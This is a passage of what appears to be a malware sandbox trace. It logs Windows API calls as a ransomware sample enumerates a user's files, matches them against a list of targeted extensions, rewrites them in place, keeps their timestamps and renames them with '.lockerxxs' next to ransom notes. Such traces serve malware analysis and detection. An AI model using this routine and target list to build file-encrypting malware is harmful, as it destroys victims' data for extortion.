Mail\\Stationery\\OrangeCircles.jpg." [0085.104] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg.lockerxxs" [0085.104] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\orangecircles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0085.106] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x18ed [0085.106] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x28e09fe0, dwHighDateTime=0x1d2dd9c), lpLastAccessTime=0x407536*(dwLowDateTime=0x28e09fe0, dwHighDateTime=0x1d2dd9c), lpLastWriteTime=0x40753e*(dwLowDateTime=0xaa4cf00d, dwHighDateTime=0x1c9ea0c)) returned 1 [0085.106] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0085.106] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x18c7, lpOverlapped=0x0) returned 1 [0085.118] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg") returned="OrangeCircles.jpg" [0085.119] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0085.119] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x18c7, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x18c7, lpOverlapped=0x0) returned 1 [0085.119] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0085.119] CloseHandle (hObject=0x98) returned 1 [0085.119] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\orangecircles.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\orangecircles.jpg.lockerxxs")) returned 1 [0085.120] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce109c99, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x23000320, dwReserved1=0x4e00c4, cFileName="Peacock.htm", cAlternateFileName="")) returned 1 [0085.121] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0085.121] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Peacock.htm") returned -1 [0085.121] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Peacock.htm") returned -1 [0085.121] lstrcmpiA (lpString1="", lpString2="Peacock.htm") returned -1 [0085.121] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg") returned="OrangeCircles.jpg" [0085.121] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\" [0085.121] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\") returned="" [0085.121] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HOW TO DECRYPT FILES.txt" [0085.121] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\how to decrypt files.txt")) returned 0x2020 [0085.121] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", lpString2="Peacock.htm" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm" [0085.121] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm", pszSpec="*.ems") returned 0 [0085.121] lstrlenA (lpString="*.ems") returned 5 [0085.121] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm", pszSpec="*.db") returned 0 [0085.121] lstrlenA (lpString="*.db") returned 4 [0085.121] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm", pszSpec="*.dbf") returned 0 [0085.121] lstrlenA (lpString="*.dbf") returned 5 [0085.121] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm", pszSpec="*.myox") returned 0 [0085.122] lstrlenA (lpString="*.myox") returned 6 [0085.122] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm", pszSpec="*.myo") returned 0 [0085.122] lstrlenA (lpString="*.myo") returned 5 [0085.122] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm", pszSpec="*.qbw") returned 0 [0085.122] lstrlenA (lpString="*.qbw") returned 5 [0085.122] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm", pszSpec="*.qbb") returned 0 [0085.122] lstrlenA (lpString="*.qbb") returned 5 [0085.122] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm", pszSpec="*.qbm") returned 0 [0085.122] lstrlenA (lpString="*.qbm") returned 5 [0085.122] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm", pszSpec="*.qbo") returned 0 [0085.122] lstrlenA (lpString="*.qbo") returned 5 [0085.122] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm", pszSpec="*.qbx") returned 0 [0085.122] lstrlenA (lpString="*.qbx") returned 5 [0085.122] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm", pszSpec="*.qba") returned 0 [0085.122] lstrlenA (lpString="*.qba") returned 5 [0085.122] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm", pszSpec="*.qby") returned 0 [0085.122] lstrlenA (lpString="*.qby") returned 5 [0085.122] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm", pszSpec="*.qbj") returned 0 [0085.122] lstrlenA (lpString="*.qbj") returned 5 [0085.122] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm", pszSpec="*.ofx") returned 0 [0085.123] lstrlenA (lpString="*.ofx") returned 5 [0085.123] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm", pszSpec="*.qif") returned 0 [0085.123] lstrlenA (lpString="*.qif") returned 5 [0085.123] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm", pszSpec="*.mye") returned 0 [0085.123] lstrlenA (lpString="*.mye") returned 5 [0085.123] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm", pszSpec="*.mbox") returned 0 [0085.123] lstrlenA (lpString="*.mbox") returned 6 [0085.123] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm", pszSpec="*.eml") returned 0 [0085.123] lstrlenA (lpString="*.eml") returned 5 [0085.123] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm", pszSpec="*.pst") returned 0 [0085.123] lstrlenA (lpString="*.pst") returned 5 [0085.123] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm", pszSpec="*.ost") returned 0 [0085.123] lstrlenA (lpString="*.ost") returned 5 [0085.123] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm", pszSpec="*.idx") returned 0 [0085.123] lstrlenA (lpString="*.idx") returned 5 [0085.123] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm", pszSpec="*.dbx") returned 0 [0085.124] lstrlenA (lpString="*.dbx") returned 5 [0085.124] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm", pszSpec="*.sql") returned 0 [0085.124] lstrlenA (lpString="*.sql") returned 5 [0085.124] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm", pszSpec="*.mdb") returned 0 [0085.124] lstrlenA (lpString="*.mdb") returned 5 [0085.124] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm", pszSpec="*.fdb") returned 0 [0085.124] lstrlenA (lpString="*.fdb") returned 5 [0085.124] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm", pszSpec="*.wab") returned 0 [0085.124] lstrlenA (lpString="*.wab") returned 5 [0085.124] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm", pszSpec="*.dat") returned 0 [0085.124] lstrlenA (lpString="*.dat") returned 5 [0085.124] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm", pszSpec="*.txt") returned 0 [0085.124] lstrlenA (lpString="*.txt") returned 5 [0085.124] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm", pszSpec="*.jpeg") returned 0 [0085.124] lstrlenA (lpString="*.jpeg") returned 6 [0085.124] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm", pszSpec="*.jpg") returned 0 [0085.124] lstrlenA (lpString="*.jpg") returned 5 [0085.124] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm", pszSpec="*.png") returned 0 [0085.125] lstrlenA (lpString="*.png") returned 5 [0085.125] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm", pszSpec="*.php") returned 0 [0085.125] lstrlenA (lpString="*.php") returned 5 [0085.125] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm", pszSpec="*.cs") returned 0 [0085.125] lstrlenA (lpString="*.cs") returned 4 [0085.125] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm", pszSpec="*.cpp") returned 0 [0085.125] lstrlenA (lpString="*.cpp") returned 5 [0085.125] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm", pszSpec="*.rar") returned 0 [0085.125] lstrlenA (lpString="*.rar") returned 5 [0085.125] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm", pszSpec="*.zip") returned 0 [0085.125] lstrlenA (lpString="*.zip") returned 5 [0085.125] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm", pszSpec="*.html") returned 0 [0085.125] lstrlenA (lpString="*.html") returned 6 [0085.125] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm", pszSpec="*.htm") returned 1 [0085.125] lstrlenA (lpString="*.htm") returned 5 [0085.125] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm" [0085.126] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm" [0085.126] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm." [0085.126] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm.lockerxxs" [0085.126] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0085.127] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xe8 [0085.127] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x28e09fe0, dwHighDateTime=0x1d2dd9c), lpLastAccessTime=0x407536*(dwLowDateTime=0x28e09fe0, dwHighDateTime=0x1d2dd9c), lpLastWriteTime=0x40753e*(dwLowDateTime=0xce109c99, dwHighDateTime=0x1ca040d)) returned 1 [0085.127] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0085.127] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xc2, lpOverlapped=0x0) returned 1 [0085.129] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm") returned="Peacock.htm" [0085.129] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0085.129] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xc2, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xc2, lpOverlapped=0x0) returned 1 [0085.129] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0085.129] CloseHandle (hObject=0x98) returned 1 [0085.129] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.htm.lockerxxs")) returned 1 [0085.131] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa51b2c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x3800033b, dwReserved1=0x4e00c4, cFileName="Peacock.jpg", cAlternateFileName="")) returned 1 [0085.131] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0085.131] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Peacock.jpg") returned -1 [0085.131] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Peacock.jpg") returned -1 [0085.131] lstrcmpiA (lpString1="", lpString2="Peacock.jpg") returned -1 [0085.131] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm") returned="Peacock.htm" [0085.131] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\" [0085.131] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\") returned="" [0085.131] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HOW TO DECRYPT FILES.txt" [0085.131] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\how to decrypt files.txt")) returned 0x2020 [0085.131] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", lpString2="Peacock.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg" [0085.131] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg", pszSpec="*.ems") returned 0 [0085.131] lstrlenA (lpString="*.ems") returned 5 [0085.131] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg", pszSpec="*.db") returned 0 [0085.132] lstrlenA (lpString="*.db") returned 4 [0085.132] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg", pszSpec="*.dbf") returned 0 [0085.132] lstrlenA (lpString="*.dbf") returned 5 [0085.132] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg", pszSpec="*.myox") returned 0 [0085.132] lstrlenA (lpString="*.myox") returned 6 [0085.132] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg", pszSpec="*.myo") returned 0 [0085.132] lstrlenA (lpString="*.myo") returned 5 [0085.132] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg", pszSpec="*.qbw") returned 0 [0085.132] lstrlenA (lpString="*.qbw") returned 5 [0085.132] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg", pszSpec="*.qbb") returned 0 [0085.132] lstrlenA (lpString="*.qbb") returned 5 [0085.132] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg", pszSpec="*.qbm") returned 0 [0085.132] lstrlenA (lpString="*.qbm") returned 5 [0085.132] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg", pszSpec="*.qbo") returned 0 [0085.132] lstrlenA (lpString="*.qbo") returned 5 [0085.132] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg", pszSpec="*.qbx") returned 0 [0085.132] lstrlenA (lpString="*.qbx") returned 5 [0085.132] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg", pszSpec="*.qba") returned 0 [0085.132] lstrlenA (lpString="*.qba") returned 5 [0085.132] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg", pszSpec="*.qby") returned 0 [0085.133] lstrlenA (lpString="*.qby") returned 5 [0085.133] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg", pszSpec="*.qbj") returned 0 [0085.133] lstrlenA (lpString="*.qbj") returned 5 [0085.133] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg", pszSpec="*.ofx") returned 0 [0085.133] lstrlenA (lpString="*.ofx") returned 5 [0085.133] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg", pszSpec="*.qif") returned 0 [0085.133] lstrlenA (lpString="*.qif") returned 5 [0085.133] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg", pszSpec="*.mye") returned 0 [0085.133] lstrlenA (lpString="*.mye") returned 5 [0085.133] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS 